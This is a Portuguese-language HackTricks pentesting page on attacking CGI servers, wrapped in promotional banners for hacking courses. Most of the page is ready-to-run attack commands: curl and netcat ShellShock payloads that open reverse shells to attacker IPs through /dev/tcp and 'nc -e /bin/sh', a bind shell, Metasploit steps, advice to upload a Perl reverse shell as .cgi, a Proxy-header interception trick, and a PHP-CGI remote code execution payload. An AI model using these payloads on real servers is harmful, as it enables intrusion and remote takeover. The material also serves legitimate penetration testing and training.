7.5 KiB
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Aprofunde sua experiência em Segurança Móvel com a 8kSec Academy. Domine a segurança de iOS e Android através de nossos cursos autônomos e obtenha certificação:
{% embed url="https://academy.8ksec.io/" %}
Informação
Os scripts CGI são scripts perl, então, se você comprometeu um servidor que pode executar .cgi scripts, você pode fazer upload de um shell reverso perl `/usr/share/webshells/perl/perl-reverse-shell.pl`
, mudar a extensão de .pl para .cgi, dar permissões de execução `chmod +x`
e acessar o shell reverso pelo navegador para executá-lo.
Para testar por vuln CGI, é recomendado usar nikto -C all
e todos os plugins
ShellShock
ShellShock é uma vulnerabilidade que afeta o amplamente utilizado Bash shell de linha de comando em sistemas operacionais baseados em Unix. Ela ataca a capacidade do Bash de executar comandos passados por aplicativos. A vulnerabilidade reside na manipulação de variáveis de ambiente, que são valores nomeados dinâmicos que impactam como os processos são executados em um computador. Os atacantes podem explorar isso anexando código malicioso às variáveis de ambiente, que é executado ao receber a variável. Isso permite que os atacantes potencialmente comprometam o sistema.
Explorando essa vulnerabilidade, a página pode gerar um erro.
Você pode encontrar essa vulnerabilidade notando que está usando uma versão antiga do Apache e cgi_mod com a pasta cgi
ou usando nikto.
Teste
A maioria dos testes é baseada em ecoar algo e esperar que essa string seja retornada na resposta da web. Se você acha que uma página pode ser vulnerável, procure por todas as páginas cgi e teste-as.
Nmap
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
Curl (refletido, cego e fora da banda)
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
Exploit
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
Proxy (MitM para solicitações de servidor web)
CGI cria uma variável de ambiente para cada cabeçalho na solicitação http. Por exemplo: "host:web.com" é criado como "HTTP_HOST"="web.com"
Como a variável HTTP_PROXY pode ser usada pelo servidor web. Tente enviar um cabeçalho contendo: "Proxy: <IP_atacante>:<PORTA>" e se o servidor realizar qualquer solicitação durante a sessão. Você poderá capturar cada solicitação feita pelo servidor.
PHP Antigo + CGI = RCE CVE-2012-1823, CVE-2012-2311
Basicamente, se cgi estiver ativo e php for "antigo" <5.3.12 / < 5.4.2
você pode executar código.
Para explorar essa vulnerabilidade, você precisa acessar algum arquivo PHP do servidor web sem enviar parâmetros especialmente sem enviar o caractere "="
.
Então, para testar essa vulnerabilidade, você poderia acessar, por exemplo, /index.php?-s
note o `-s`
e o código fonte da aplicação aparecerá na resposta.
Então, para obter RCE você pode enviar esta consulta especial: /?-d allow_url_include=1 -d auto_prepend_file=php://input
e o código PHP a ser executado no corpo da solicitação. Exemplo:
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
Mais informações sobre a vulnerabilidade e possíveis exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, Exemplo de Writeup de CTF.
Aprofunde sua experiência em Segurança Móvel com a 8kSec Academy. Domine a segurança de iOS e Android através de nossos cursos autoguiados e obtenha certificação:
{% embed url="https://academy.8ksec.io/" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para os repositórios do HackTricks e HackTricks Cloud.